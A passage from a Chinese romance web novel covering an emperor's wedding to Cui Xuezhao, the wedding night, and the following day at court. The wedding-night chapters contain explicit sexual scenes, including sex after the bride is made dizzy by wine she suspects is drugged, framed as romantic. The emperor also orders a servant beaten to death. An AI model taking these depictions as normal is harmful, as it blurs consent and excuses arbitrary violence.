“算了算了,照着她手艺慢慢来吧。” 冠冕加身,出门前还叮嘱:“别催她。”针线活磨人,一催万一在指头上扎个针眼,他不在跟前嘬一下疗伤,可怎么办? 童公公忙应是,话是这般说,该知道的也得心里有个数。 宫外崔家 万姑姑又接了一批赏赐,这回是特支钱。 所谓特支钱是册立皇后是给在京诸方的赐钱,六月初六大婚之后,该由皇后娘娘赏于臣下,亦是君恩,禁军特支钱是五百钱,地方军大约三百钱,统算下来亦是一笔大的开销。 “谢陛下赏赐。” 内监说帝后一体,娘娘的体面也是陛下的体面。 又问这几日娘娘在崔家可好,在忙什么呢? 主要是给陛下的衣衫今儿能让他一并带进宫最好了! 万姑姑心领神会,笑道:“娘娘没什么要紧的事儿,原是打算给陛下亲手做一件外衫来着。但崔家有位堂妹来做客时提及剑南女子出嫁的风俗,说是出嫁女给未来夫婿备衣,宜从内而外备齐,且要遵照四时季备四套,能得个圆满的好意头。” “哎呦,娘娘对陛下的心意真真叫小人感动。” 感动的内监空手回宫,却依旧得了童公公给的重赏。 至于崔府内的崔雪朝 她照着鞋样子用大绞子裁了两个边,然后就递给专司针线的阿屏和黛芬。 不一会儿秦妈妈来送宵夜 针线活撂下,崔雪朝饮过汤水,见秦妈妈欲言又止让其他人退下,留她说话。 “妈妈有话要说?” 秦妈妈在自家姑娘面前要比在宫人跟前放松不少,她说这几日的小厨房得了御医处女医官的指点,夜上的汤食用了不少给女子补身的好物。 “娘娘,东西是顶名贵的东西。” 秦妈妈脸上挂着担忧:“只是我瞧着那些人一个劲地给您补身,就跟庄户人家灌养小肥鸡一样。” “娘娘,这些女医莫不是打着来日大婚夜,让陛下从您身上采阴补阳的念头吧???” 第32章 很勾人吧。 秦妈妈真是好一张快嘴! 崔雪朝傻着两眼, “妈妈怎么又胡说!” 秦妈妈当她羞涩,越发凑近了说:“姑娘是不知道,有些男人年岁上来那上头功夫不长, 自己吃药不算, 还得让妻子配合吃着回补一二。” “夫人去了,隔房的婶子们不好开口, 小人壮胆跟您提一句,后日大婚,夜里头若是发觉陛下伺候得您不舒坦,您可不能露了意。” 崔雪朝疑惑问她露什么意。 “男人家自己个儿本钱不丰, 又好面儿, 他表现如何其实心里有数, 但女人家若鄙夷了,或是拉长脸, 嘿!就把错过归拢到女人身上。” “说女人家腰不够细,脸不够美, 胳膊不美满, 乳子太扁” 总归从上到下地挑拣女人的不对,很不是东西。 崔雪朝呢有过一段亲事, 但是约定好的合作, 不曾敦伦过, 在那事儿上还是新手。 在南康时流落卖艺,其实也懂点皮毛。 她凝视床帷,回忆起几次与乾元帝的亲近,自己感受的物什隆起软硬,嗯似乎也不是那般不堪。 秦妈妈不知她家姑娘思绪飞到别处,继续道:“春时外头夜猫叫, 您还记得吧?您觉着不尽兴,又不好搡开,就学着那声儿哼唧哼唧,陛下一高兴,那事儿便算得上是和睦!” 乾元帝三十有四,有过妻户还有一子,万姑姑说内宫未置一妃一嫔,就连陛下常住的通政殿也没有伺候床榻的宫婢。 与前朝那个睁眼就摸女人的末帝比较起来,清心寡欲到有几分修仙的地步。 秦妈妈说:“世上就没有男人不眷恋那档子事儿的!想是陛下功力不好,怕宫女们传出去惹人笑话!” 崔雪朝说原来如此,又问:“那万一他真是洁身自好又身子骨坚朗的呢?” 秦妈妈没想过这个可能,想了半晌,叮嘱道:“那娘娘就不能学猫叫了!” “您得学些避法子。由着他闹腾,掏空您的底子,对您也不好!” 崔雪朝似是而非地应下。 一转正日 起得比鸡早,崔雪朝吃了一碗干爽的面食,由着描红画绿,垂至腰间的长发一点点分拢盘起,河东袁家族里荣封的上阳公主来做簪客。 皇后大簪要比寻常的长簪重,通冠白玉嵌鎏金掐丝大东珠,上阳公主照着琉璃宝镜给崔雪朝簪好,笑眉笑眼地道真是般配,“臣妇给娘娘贺喜了!” 因上阳公主生了两子两女,个个玲珑人,品貌才情乃是袁家族中拔尖的好,由她做这十全的簪客,既是来自上位者的赞誉,亦是对上阳公主一家的抬举。 论亲疏,上阳公主是乾元帝的姑母,崔雪朝该是她的小辈。 崔雪朝道过谢,上阳公主一走,门上进来崔家族中的女眷。 其中几位堂妹这些时候已经混得面熟,再有是二房三房的婶子,各自递上贺礼。 尤其是二房的婶娘给得丰厚,毕竟自己丈夫沾了皇后母族的光,虽不日就要离京,但去的地方温润,差事又肥,今日便是最好的表忠心时机了! 一一上前贺过,临别三房婶娘趁人不注意偷摸塞了一绿封的本给崔雪朝,“大嫂子不在,想来这东西旁人不好给。婶子脸皮厚,给了你,你记得看。” 昨日宫里的嬷嬷来过教导,说了不少伺候君主的规法,诸如不能中途说疼不能让陛下不高兴,什么画图也看过几个。 她觉得难为情,那嬷嬷却说敦伦是人之常情,不学怎么伺候好陛下,怎么做好一国皇后,怎么为大乾绵延子嗣! 忍着不适送走嬷嬷,三婶娘给的东西是什么她不用看也知道。 “谢婶子好意。” 她示意阿屏收好,深吸口气,挥手让宫人给她戴大冠吧。 国仪自然不比民间娶妇,不必家下兄弟背着出门。 皇后所过之处皆是福地,万众叩拜,凛手柄扇,博鬓微晃打在肩,及至正院,高堂上崔举望着盛装明艳的女儿,久久没能发声。 待宫人提醒,他才清清咽喉,把预备好的吉词全副诵读。 辉煌又让人生畏的满堂俱静,父女深深对望。 崔雪朝吸口气,抬手示意,万姑姑立时探出臂膀。 她缓缓跪下,三叩首,为鬓间生出白发的父亲,又为母亲的灵位,“女儿拜别。” 崔举嗳地低应了声,想伸手搀却错失了搀扶的良机,目送她被宫人女眷簇拥着迈出门槛,突然有仰头长哭的冲动,却又生生克制住,“把夫人灵位安顿回去吧。” 吩咐完,笑着迎上朋亲恭贺的声音,拱手交际。 送亲至门上,便是崔梅越这位嗣子的重担。 他也无愧崔家大宗嗣子身份,今日穿得吉利又庄重,比手送姐,与礼部司仪官配合着送崔雪朝坐上金根车。 仪仗队在前,隆盛的护卫紧随其后,街巷两侧围满了看热闹的百姓。 一路行至宫城,要去太极宫先行拜祭祖先的大礼,然后才至坤宁宫行夫妻礼。 钟鸣击缶,乐声恢弘远达,高高的台基上帝王长身玉立,檀香缭绕厚重,一切混杂尽数消失在两人目光相遇的那一刻。 铜胎鎏金宝顶下,崔雪朝一步一阶,越近,看清乾元帝肃穆的面容,手心不由泌出细汗。 这时候可千万不能分神,犯一点错都会落入百官眼中,来日上朝就成了言官口中影响山河社稷的不祥之兆。 万幸他肃穆,只剩几步之时,伸出宽大有力的手掌接住她的手臂。 “你来了?” 崔雪朝眨了下眼,惊愕他脸色威严到能立时横刀打仗,一开口全是家常的语气。 “劳你走这么多台阶。” 乾元帝跟礼部再三商榷,容许皇后车驾到太极宫外亦是最大的让步,这千数的台梯便再不能让人抬着她上来。 “臣妾不累。” 相携入殿,一左一右三拜九叩,敬告天地祖宗。 一套繁琐的流程下来,焚香净沐,烧祭黄卷,及至结束,乾元帝温声叮嘱:“坤宁宫收拾好了,朕同你一块回去。” 童公公顿了下,“陛下,殿前还有大宴,百官须得给您贺喜” “想贺喜就朝着坤宁宫磕头就是,难不成还得朕陪着笑脸给他们敬酒不成?” 总之皇帝最大,外臣大宴就那些事儿,不去也行。 丢下一群连呼‘不合礼法’的言官,帝后把手,同乘皇后的金根车去了后宫。 到了宫门口,乾元帝先行下车,崔雪朝本欲跟着,万姑姑说娘娘且慢,端出一方红盘,在崔雪朝的注视下,展开那上头绣着鸳鸯戏水的红盖头,“娘娘戴上这个吧。” 眼前红彤彤一片,贺乐都莫名变得模糊,见车旁立着高大的一个身影,平静下的心跳又失控起来,他向她伸出一双手。 抚过山河的掌真叫人心安呐,于是心甘情愿地握了上去。 他很快收紧攥了攥,稍一用力,掐腰将她抱个满怀,“新娘子不要踩地,我抱你进去。” 嗅到一股燎气,晃动的盖头隐约可见坤宁宫门口好些物件。 于是跨火盆的是他,两个小儇捧龙凤花烛导行,一踩过五个麻袋子,听见一声嘹亮的‘传宗接代’! “吓朕一跳。” 他嘀咕一句,盖头下的新娘子抿出笑唇。 入洞房后,按男左女右坐床沿,称之为做床。 崔雪朝忐忑等着,一点银光秤杆进入视线,呼地眼前大亮,称心如意的陛下又坐在她身边,如墨的眼眸折着红烛上的光。 万姑姑灵巧地挽好一个同心结,大红绳索两端夫妻各执,而后系在床头,红彤彤的。 不过两月,却感觉娶到她是好波折的一番经历。 细数下来,自己也算是过五关斩六将呢。 真要感慨:“皇后今日真”美 呼啦啦冲进来两个孩子,一男一女,福态又可爱,抱着大袋子一个劲儿往喜床上甩,什么红枣核桃花生杏仁,其中一个孩子手小没握紧,拳眼大的桂圆直直甩到乾元帝脑门上发出咚的一声闷响。 宫人们一下静了,唯有小儿还记得差事,“长命百岁,早生贵子!” 乾元帝好脾气地说赏。 等终于清净了,往皇后脸跟前凑了凑:“挨了一记,帮我看看是不是红了?” 这些时候他常在避阳处打拳,比上一次见面白了不少。 但再白也不至于被几岁小童给打伤,崔雪朝摇头,说陛下您额头比臣妾的额头还要白嫩。 白就好,嫩就算了。 乾元帝又缠绵地说:“皇后今日真美丽!” 是吗? 崔雪朝怀疑地看他,上妆的宫人至少给她敷了一斤珍珠面,又是胭脂斜红绘面,那阵子路过花丛感觉自己都快招蜂蝶了! “其实不怎么舒坦,我脸上腻得慌。” 还有大冠重衣,她只想痛快脱干净擦擦腋下的汗。 于是两人暂别。 其实外头夜幕四合了,宫灯映出黄煌的内间,没精神赏看坤宁宫的布置,清水换了五盆才觉得脸上清爽。 浴桶蒸腾白雾,长发柔软地迤在水中,出浴时阿屏拿来的一件薄如蝉翼的坦领纱,垂头往下看,感觉都能看见两个暗色的奈尖子了! “换一件别的吧。” 万姑姑与旁边盯着的嬷嬷对视一眼,见那刻板嬷嬷锯嘴样,便知今日见陛下为娘娘费心安排一出,总算知道这宫里皇后娘娘是何等地位。 于是坦领纱换成轻纺薄衫,本以为要直奔主题,却见轩窗下的长榻摆置长案。 陛下温存小意地在摆碗筷,听见脚步声,舒朗面上是满足的笑,“饿了没?我让小厨房备了你常吃的几道菜。” 宫人们鱼贯而出,静谧的殿内独留他们两个。 吃是自然要吃的,酒水也不能免俗。 “喝一杯交杯酒吧。” 这是很合理的要求。 崔雪朝举起小小的酒樽,挺起上身一点点凑近,近到鼻息交融,酒水丰腻的辣入了眼、入了七魂八窍。 片刻后,崔雪朝软乎乎地撑着额角看那酒樽,怀疑这东西被下了药,怎么才两三杯这么劲大。 “汀溪,汀溪” 崔雪朝晃着眼要站起:“陛下,这酒有问题” 她要去找门外的宫人。 能有什么问题?不过是她爱自己,酒水助兴发乎情,不自知罢了。 袁望从善如流地接住她柔软的身躯,在她眼前晃晃,见她神智尚在,怜爱问:“我方才说什么,你听见了吗?” “陛下说说枪说您耍枪很厉害” 暖融的气息喷涌在自己胸口,痒得周身发麻,深喘一口气将人抱进红火的喜床被褥上,低估了她的酒量,本是要缓缓她的紧张的。 就在以为今夜不成事时,被里的姑娘撩起细长胳膊,臂上的衣衫叠成峦花,花蕊是她绯红眼动情的容,撅着可爱诱人的弧,“我和你,要圆房了吗?” 她撑起来看自己,袁望绷紧后槽牙:“你若是想,我就帮你圆。” 她迟疑了,大约敏锐意识到不该回答这个问题,若答了,很容易落入陷阱,于是眨眨眼问:“陛下,您刚才说的枪呢?” 三两下甩了衣裳,重重叠落的帐帷隐约传来两人细碎的话语。 “我有枪。” “我这枪,平常人都看不到,你想不想看?” “想看。它尖不尖,会不会伤着我?”女子隐有畏惧。 “不会伤着你。这枪懂眼色得很。不信,你摸摸?”诱惑十足。 那枪没怎么跟主人上过战场,尘封多年,外观清奇,前头夹了个弯钩,勾魂索命是把好手。 枪鞘呢,狭小而紧,第一次开匣一直放不进去,主人起初推拒着说算了算了,不看了。 后来哭着又说匣子满了要裂开了,感觉要被枪弄坏掉了,但那武人邪笑着说不要乱动,乱动枪容易伤着人,不乱动,匣子就能接好长枪直入,然后越发使劲往里塞。 “这鞘的韧带真好。”真心实意的夸奖道,还不忘表功:“是不是中看更中用?喜欢不喜欢?” 枪鞘的主人似乎觉得鞘裂感剧烈,心疼地嘤嘤垂落一连串眼泪。 哭起来雨打芭蕉,就连声也啪啪啪的,“怎么了?” “要不要亲亲?这鞘太娇气,亲亲就好了。” “不不用了!” “好吧。”听声音十分遗憾。 似乎水深火热,但听着两人有商有量。 许久后 “这枪上好使吗?好使的话,往后就赠予你一人独用!” 枪匣的主人气音难续,“陛下还是收好吧。” “很勾人吧。” “天生它如此,我也没办法。” “” 第33章 十八岁的年纪得允许她犯…… 大婚之夜的合衾酒比药效该有的还要激烈。 她只觉得自己滚烫, 成了一块赤红的炭,好渴,神智在最投入的时候几乎颠碎, 崔雪朝忍不住去蹬去踹。 脚腕一凉, 艰难偏过头,看到一只蜜色的大掌把玩着自己白皙的足, 那颜色格外悬殊,帷帐晃动投映来的昏暗斑光里,难堪动情下,眼前金星一瞬被冲击到灵魂的至高峰。 “呃” 方才给她最快乐最刚猛的男躯紧随爆出一声剧喘, 半晌, 一滴热汗惊险垂落在峰尖红梅处, 她不由地瑟缩,想抬手擦拭, 酸软无力的手臂抬不起来。 于是眼睁睁看着他沉迷伏下,滚烫的唇舌吮去那滴汗, 仰头看向她尽力躲闪的眼眸, 无耻地笑了笑:“抱歉,我自己的汗, 不忍脏了你。” 话虽如此, 崔雪朝呼吸又乱, 才泄气的东西凭什么硬气得这般快! “你等等” “春宵苦短,何来‘等’一说?” 她那张让他心软的嘴总是会吐出些与自己真心相左的话,真是好磨人。只好勉为其难地衔住含住,发出悦耳动人的啧啧。 重鼓上阵,罅隙之余见她活色生香,并不因他的疾驰而落后半步, 在她耳畔细语感慨‘你我生来契合要做真夫妻’。 她战栗迷谷淋淋,更展从容,持续了很久,最后结束时,崔雪朝直眼看着近在咫尺的床栏。 耳畔响起秦妈妈的叮嘱。 看来秦妈妈的阅历有限,上了年岁的人并不一定都软而弱,至少她的新婚丈夫雄风可表! 更漏传来,夏日昼长,寅时三刻了。 叮叮清脆的铃铛声后,推门声起,衾被覆背,听见他稍有沙哑的声线吩咐人更褥备衣。 衣料窸窣响声回荡在拔步床内,知晓他下了床,规矩嬷嬷说伺候过皇上的后宫女子不拘品级高级,都得伺候陛下更衣,且要跪地。 崔雪朝快速在床上寻到自己的小衣穿好,忍着不适披上柔纱衫,正要爬下床,床帷被人撩开。 “我抱你去净身。” 崔雪朝愣愣地看他给自己系好腰上的软菱带,身上一轻,被他拥在怀中稳稳地朝向寝宫最内的浴池。 泡过浴汤再出来,已过去半个时辰。 窗棂上的光大亮,崔雪朝累得没力气看,反正今日坏规矩的事情又不止一件两件,索性两眼一闭沉沉入睡。 将人安顿在床上,留恋不舍地抚抚她润玉的脸颊。 一夜少睡,乾元帝却兴奋地没有睡意,余韵余长,原来心意相通的人相濡以沫起来,销魂至此。 那灭顶的快乐自己前半生从未体验过。 或许是父亲多情酿成母亲惨剧,小小的袁望很长一段时间把母亲悬在梁上自尽的身影刻入噩梦。 多情是个好词,生父袁承业配不上多情,他是滥情,是恶臭的,袁望常站在河东袁氏庭院角落,看父亲搂着各色女子欢爱。 所以他厌恶男女之事。 与杨氏的婚姻,是为政治目的,姻亲与骨血才能让陇右成为最忠诚的臂膀。 他用手抚顺她鬓侧的碎发,眼前浮现的是方才浴池中她如妖媚攀在自己腰腹睫羽乱颤的神魂颠倒。 旧时不屑于男女相爱的偏见碎裂,她的出现包扎了他对爱的伤口,于是心间新起一道名唤‘崔雪朝’的爱墙。 她和母亲有相通之处,骨子里有偏执的成色,做了抉择不会回头。 但自己不会是袁承业,不会让她沦落成母亲的结局。 一辈子并不长,十年二十年,帝后夫妻,他们的忠贞情会青史留名。 珠帘处有人影晃动,乾元帝放好帷帐,无声行至外堂。 本以为是内监来伺候衣裳去通政殿,促步上来的却是个规矩老嬷嬷,手里托个盘。 红红的方盘,一方元帕,几点红。 老嬷嬷歪起嘴角,略有讥讽道:“陛下请看。” 乾元帝顿了顿,意识到那代表着什么,突然失语。 满京皆知,崔氏嫡女随双亲南下奔逃途中曾嫁过人。后,末帝覆朝,新帝起复崔家,崔氏嫡女和离后归京。 世人不问‘万般不由人’的乱世,只议论崔氏女身负晦往,不堪为妃为嫔,更遑论为新朝之后。 乾元帝神情少有风动,只是方才自皇后娘娘寝居朗步而出时的温势遁消,惶惶帝君不怒自威,童公公唰地白了脸,暗怪这不长眼的规矩嬷嬷,急忙跪下。 御前之人跪地,坤宁宫的人一头雾水却也不敢慢上半步。唯有万姑姑从那规矩嬷嬷收拾床褥时便悬了心。 洞房之夜核验女子清白的元帕乃是常例,只是皇后娘娘特殊本不该有此物什,也不知这嬷嬷是什么时候放进床褥! 陛下自然知晓娘娘有前因,但你不说我不说,只当没发生。 偏戳穿窗户纸,天下哪个男人能乐意妻子在自己之前有过男女之事?这不是白白惹陛下不痛快嘛! 乾元帝确实不快! 他只阴森地看着即便跪地依旧高举红盘的老嬷嬷,声淡却让人胆寒:“谁让你来的?” 老嬷嬷:“回陛下,小人乃内廷司彤书局的规矩,照皇家御幸例” “童冉,朕看你这内廷大总管是不想当了。” 童公公提着心赶忙站起,点了两个内监按住那老嬷嬷,不及她开口嘶叫什么,胡乱塞了鞋子堵嘴,悄默声把人弄到外头。 “天亮后押至庭前,百杖杀。” 童公公说嗳,后背冷汗丛生,只等陛下身影回到寝居,才松口气。 他先同万姑姑对视一眼,“坤宁宫的人你再亲自过一遍,万不可叫人再钻空子。” 万姑姑说是,“陛下是生娘娘的气吗?” 童公公无奈地瞪她:“我看你和那老嬷嬷一样心里没点数。若是连点子深浅都参不透,往后还是别做坤宁宫的领事了。” 说罢,领着内监押上那心思不纯的老嬷嬷先去宫狱。 杖杀之前,自然得先问出这不知死活的老货是被谁派来的。 “与前朝传话,朕大婚,三日歇朝,有紧急奏本送到通政殿,朕得空会去看。” 吩咐过,乾元帝重回温软床榻。 寝居一如静谧,床榻深处酣眠的人并未被外间的响动惊扰。 袁望随手解去外衫,轻手轻脚地上榻,斜倚在床栏上,撩起她一股发丝,又取了自己的一股,慢悠悠地挽着同心结。 他是震怒的,因红盘上的元帕。 最先涌上心头的怒,是她刚嫁给自己不足一日,就有人看不得他们夫妻恩爱,想要离间他们夫妻。 那元帕本不该有,却偏偏存在。 红痕无,是世俗眼里的不洁,会让刚圆房的男人生出不满,即便宽宥,亦会在心间留下尖刺。 背后安排之人,其用心之毒,可谓该死。 红痕有,便如那嬷嬷蔑视的态度,是对朕的皇后的讥讽,在阴阳她弄虚作假、刻意为之。 任何胆敢轻视皇后之人,可判极刑。 第一步,先料理那老嬷嬷。 背后主谋,不过几人,留他们暂活几日。 圆满的同心结编好了,袁望唇角露出满意的笑,整夜未睡的困倦后知后觉地漫上身躯,他侧躺睡下。 元帕无红,又如何? 嫁人那年,她那时才十八岁,为夫君的度量自然该允许她在什么都不懂的年纪犯点无足轻重的小错。 卧榻之侧,只他一枕,已经足矣。 怀揣这个念头,本欲入睡,意识昏沉之际,突然惊醒,瞪大两眼。 那元帕为什么是红的! 第34章 原是朕不配 乾元帝的注意力全在身侧皇后美好恬静的睡颜上。 混沌的意识被元帕上夺目的红拉回昨夜抵死缠绵的开端。 衣衫尽褪, 锋芒毕现之际,他确实有过艰涩难行的感受。说来惭愧,当时他以为是自己技艺生涩, 一边模仿着内监寻来的彤本姿势, 眼角余光留意着崔雪朝的反应。 她只咬着下唇,不肯睁眼看他, 云雨相接的刹那,喉间溢出的娇音险些激得他一股脑交代干净。 他怕被小瞧,强忍着后脊梁一波波的麻意,生生忍住了! 只顾着自己逍遥快活, 竟忘了好好问问她的战况如何。 如果她是头回碰茬, 袁望支棱地坐起, 下一瞬扭头小心翼翼确认没有惊动皇后的好梦,撩开衾被, 一点点抽开她腰间的菱带,像个偷鸡摸狗的贼儿, 撅腚往桃源处细细查看。 半晌后, 他长长松口气,盘腿坐在床榻沿边, 支颐陷入深思。 他逼着自己冷静下来, 莫要像个俗不可耐的男人, 不可觉得女人第一次给了自己就轻狂得意。 真要计较起清白,高高在上的帝王突然有些惶恐不安,众所周知,他是有个血亲儿子在世的。 两人平而视之,昨夜自己得意的这副身躯在遇到皇后之前已经不清白了。 原是朕不配。 乾元帝眼底沉郁,他不为自己过往辩解, 因从来没有想过自己余生会遇到可心的姑娘,所以不曾守好贞洁。 然而一刹那,他又通达了。 无有过去自己的谋夺手段,何曾有今日给皇后娘娘侍寝的殊荣? 只是思绪飞旋,又有了旁的想法。 在自己眼中,皇后是很珍贵的存在。旁人应如他一般,便看那魏亭只三两面也能动心,还有那魂都散去的辜家大公子,把她奉为心头朱砂痣多年。这些足以说明她是个很好的姑娘。 好女百家求,当年求娶去的人为何能如此待她? 袁望并不为皇后前夫郎不曾与她敦伦而庆幸沾沾自喜,反倒有些恨那人昏了心窍,娶回娇妻却给她难堪! 若想得再发散些,她婚后在婆家的日子又该是如何得举步维艰? 袁望的记忆一瞬被拉回少时。 那时母亲被从梁下救回,起初和袁承业闹过吵过,夫妻两个互相用花瓶砸破对方的脑袋,并不礼貌地问候了对方的祖宗十八代。 母亲疯魔过一阵。 下人们势力,袁家亦不容宗妇妒举。 书房旬休,他归家时才发现母亲被整日捆在床上。 不足门板长宽的狭处,她吃喝都在上面,鬓发散乱状如疯妇。靠近她时,再没有从前抱着自己时的那股太阳的暖暖的味道。 袁望希望如母亲那般凄惨的经历不曾发生在皇后的身上。 有一瞬他起了念头,不若下令锦职司的番子们细查她过去那桩姻缘的一点一滴? 该抹杀的抹杀,她受过的委屈自有他暗中报复回来。 然而一膝之处的软枕上,她还在睡梦中,想来昨夜累到极点,凑的近些还能听到一点微渺的鼾音。回过神来,自己不自觉伸出手指隔着薄弱的一点分寸感受着她鼻息进出的热潮。 抚摸到肩头 她其实有些瘦,薄薄的一片,骨骼的线条在掌心下若隐若现,仿佛他稍稍用力些就能折断。 但她没有展示过自己的疼痛。 算了。 乾元帝慢慢躺回床榻,遇到皇后之后的一切回忆在眼前掠过。 时日还长,他不用太急着剖析干净她这人的全部,他要耐心,用一辈子一点点获取她的信任。 终有一日,他们会促膝长谈,用最轻描淡写的语气谈论彼此过去的经历,苦难也好,轻松也罢,那会是很美好的一幕。 这一次入睡竟是带着释然的笑意。 再睁眼时,起初茫茫,扭头看床内,空荡荡的,“几时了?” 童公公撩帘进来伺候:“回陛下,再有片刻就到午时。” “皇后呢?” “皇后娘娘比您早起没多久,这会儿在净房梳洗呢。” 乾元帝穿戴齐整,未去净室惊动,吩咐人往内间送来梳洗器皿。等一切料理,行至外间,绕过曲涟的八幅屏风,刚沐浴过的皇后气色极好,浑身透着滋润过的韵味。 乾元帝颇有些居功,见她回眸送来秋波眼眸,也不开口,只殷殷地望着她浅笑。 崔雪朝呢,强装着镇定,可惜万姑姑方才回过的话让她憋不住脸上泛起的红意。 好嘛,成过婚的女子还是完璧之身,且让彤书局的老嬷嬷介入,怕会得满宫皆知。 心里如何纷乱,眼睛却有自己的想法。见他坦然地穿上自己给他制的瓷釉青衫,越发年轻朗越,鼓囊囊的胸襟莫不是小了,怎么胸肌撑得弧线那般优越? 虽说他挺胸而来时比不得自己的丰腴,但眼前晃过的却是昨夜他敞开胸怀,攥着自己手一个劲儿献媚,说自己这些时候为维持体型费了多少汗水。 谁要求他去打什么刚猛拳,浑话一连串,好处全让他占了。 腹诽着,错开眼神,吩咐宫人传膳吧,“陛下在坤宁宫用过膳再去通政殿吧?” 想赶他走? 呵呵,见过彼此最本真的样子后,何必拘礼? 袁望知晓她好面子,很有分寸,伸手在她柔软的耳朵上磨了磨:“都听你安排。” 心里却想,女儿家耳洞挨了一扎,空荡荡作甚,怕是在等着他主动送些璀璨的耳饰吧。 只揉揉耳朵似乎并不能让他如满意,借着她转身,揽着她腰肢往自己怀里偎了下:“昨夜睡得好吗?” 左右宫人退至二道门上,崔雪朝眼中犹豫稍去,转身回抱:“还好。只是起迟了,本来今日该跟宫中其他嫔妃见面的。” “她们重要,还是我重要?” 不讲理的皇帝呵了下:“是我传令取消了今日的拜会。” “谁要挑你的刺,打发到通政殿来。” 眼下柔情蜜意,真打发去了,那是宠妃的做派。 崔雪朝含糊了声,两人热络络地抱在一块,享受了片刻的安静美好,直到膳食上桌,才依依不舍地分开。 午后,两人并肩在宫中闲逛过,崔雪朝听他说了好些坤宁宫装点的源头,心里受用,临别送他上御辇,虽没说缠绵话,眼神里的不舍做不得假。 袁望越发为自己今日上晌留下的选择而赞许。 设身处地,若是自己侍寝完,睁开眼,昨夜还密不可分的丈夫提上裤子就走,很像花场里的混蛋玩意。 “今夜早睡,不必等朕。” 通政殿的政事不少,与中堂当值的议过,再差问几件,少不得天黑才能万事。 崔雪朝唇上的笑僵了一瞬,很快恢复如常。 宫门口人一去,郎朗晴日下,莫名有股凄凉的错觉。 万姑姑体察上情:“陛下爱重娘娘,今晨一顿百杖杀为娘娘立了大威,眼下阖宫无人敢看低咱们坤宁宫去。便是今夜陛下临幸旁宫,那也是照着旧例,比不得娘娘在陛下心中的地位。” 崔雪朝早有准备,笑了笑折身回了宫中。 晌后歇了片刻,起身时,宫门上回话,汉王殿下来给皇后娘娘请安了。 “陛下不是吩咐不叫人今日来打扰皇后娘娘吗?”阿屏道。 内监弯着腰回道:“汉王殿下说照规矩便是要今日给娘娘请安,延缓至明日,怕传到外头惹得旁人议论是汉王殿下不满皇后娘娘。” “让他进来吧。” 崔雪朝起身净过手,坐在中堂望向门外。 不大一会儿,身穿墨色小襕衫的汉王殿下迈过门槛,似乎比上次在假山时见到的样子又长大了些。 不过还是圆呼呼的稚气,抿着嘴很凛然的迈步真像宝相威严菩萨座下的小童子。 大约是见过他顽劣的模样,崔雪朝对汉王有几分好感。 等人走近磕头请安,起身睁着忽闪忽闪的大眼睛仰着头看自己时,才看清他和他父亲生得很像,只是他父亲并不如儿子皮相白嫩。 “坐吧。” “谢母后。” 二十四岁的自己被他唤一声母后,也很合理。 崔雪朝吩咐人上了几道可口的茶点,“在坤宁宫不必拘谨,有想吃的自己拿。” 汉王眼睛在手边桌面飞快看了一圈,额外在雪泥莲花糕上停留多一息,只是他身后立着的宫人稍挪下身子,汉王立时从椅上站起,恭敬地说多谢母后。 崔雪朝留意到他身后那宫人对他的暗示,问问汉王日常,底下人伺候如何,读书功课安排,大致心里有数,片刻后让人送汉王殿下出宫。 距离坤宁宫有一段距离,汉王殿下身边的宫人才开口:“殿下方才不该看那糕点。” 汉王抿了抿唇:“我没有看。” “殿下又在撒谎。” 宫人虽弓着身,语气生硬:“小人只是在提醒殿下,皇后娘娘非您生母,来日若诞下我大乾的第一位嫡子,必然会视殿下您这位庶长子为眼中刺,恨不能除之而后快。” “您今日多看那糕点几眼,便是漏了喜好,万一哪一天送到您案头的糕点被人下了毒物,您中招,咱们陇右杨家真就没了指望。” 汉王殿下沉默走着,眼前浮现今日坐在堂上笑起来很好看的皇后娘娘,想跟宫人说皇后娘娘没当皇后娘娘前,救过自己的命呢。 宫人又道:“殿下也莫怕,只要咱们杨家七姑娘进宫,少则为嫔,贵则为妃,必会好好护佑殿下免遭皇后迫害!” 汉王抿起的唇更紧了。 他不喜欢母亲的七妹妹。 第35章 我要给陛下生最多的孩子…… 送走汉王, 崔雪朝整理大婚之日后的尾声。 各方贺礼,库存造册,坤宁宫是后宫最为尊贵的存在, 万姑姑领着分管的宫人们一一过场。 宫人须得知晓主子长什么模样, 以免冲撞。主子不必认清每一张脸,只需跟管事的几个问话, 初步看其如何回话,是否需要调动。 诸如坤宁宫娘娘私库领事、厨房总领事分灶头、掌衣物金银首饰的紧要缺儿上,必然要心腹。 万姑姑回禀这几个是童公公从内廷司精心挑选过的,暂时用着放心。 崔雪朝点点头, 殿内伺候的还是当初在万寿宫的八个大宫人, 这些时日在崔家做事很踏实, 一例封做一等二等。 琐碎事情忙起来,不经意抬头, 天色擦黑。 廊下有宫人支起长杆悬宫灯,庭前静谧, 看了很久的账册起身漫步, 宫门大开,阳头下去会有微风, 注雨的瓮缸边狸奴一家子悠闲地互相打闹着。 “大家都猫儿猫儿叫着, 这母猫至今还没个名字呢。” 阿屏搓着黑白大猫的头颅, 见她舒服地打着呼噜音儿,崔雪朝也笑了,半蹲下揪起她最瘦小的一个猫崽子:“这个毛色和其他猫崽不一样,夹着橘,就叫胖黄吧。” 胖黄很乖,小手耷拉在娘娘的臂弯, 眯着眼要睡不睡。 崔雪朝看得心软,索性抱着在庭前漫步起来,天黑下来抱进堂中,万姑姑寻了一个竹编的垫子,胖黄一躺,脑袋枕在皇后娘娘手心睡着了。 乾元帝进来时见到的一幕,便是他的皇后闲倚在榻翻卷慢阅,贴身伺候的宫人一左一右坐在踏板做针线,金猊兽端炉涌着浅淡的香,一室温存,本该属于他的榻侧有只碍眼的猫崽四脚朝天,那副骚样做给谁看! 他嗯哼一声,所有人看向门边。 “给陛下请安。” 宫人们急忙起身请安。 崔雪朝眨眨眼,像是有些困惑,很快回神扶上阿屏的手臂要下地请安。 “坐着吧。” 袁望道,提溜起那只猫崽的后颈,小猫被惊醒眼睛瞪得溜圆,赶在爪子捯上陛下手背前被阿屏很有眼色地接抢到手,抱到外边塞还给母猫。 “陛下怎么在这儿?” 听到这话,袁望拿起桌上她先前放下的书卷,淡淡道:“进来时瞧着院子里安静,就没叫人惊动你。” 答非所问。 崔雪朝瞥眼外头地上的铜漏,想了想,“这么晚了,陛下从通政殿来?” “嗯,你我成婚应合天时,今夏江淮第一茬的庄稼收成不错,户部报上来的账目喜人,补上前段时间赈灾的漏处,还能赈北部军垦制改制。” 所以是议政之后直接过来了? 崔雪朝绷紧的精神稍松,灯烛照映下,他这会儿懒洋洋地半侧坐着,身上不是晌午分开时的那件瓷釉青,换了偏暗灰的常服,长腿错搭着,心情似乎不错,靴子偶尔颠几下。 “下晌汉王来过?” “来请安。” 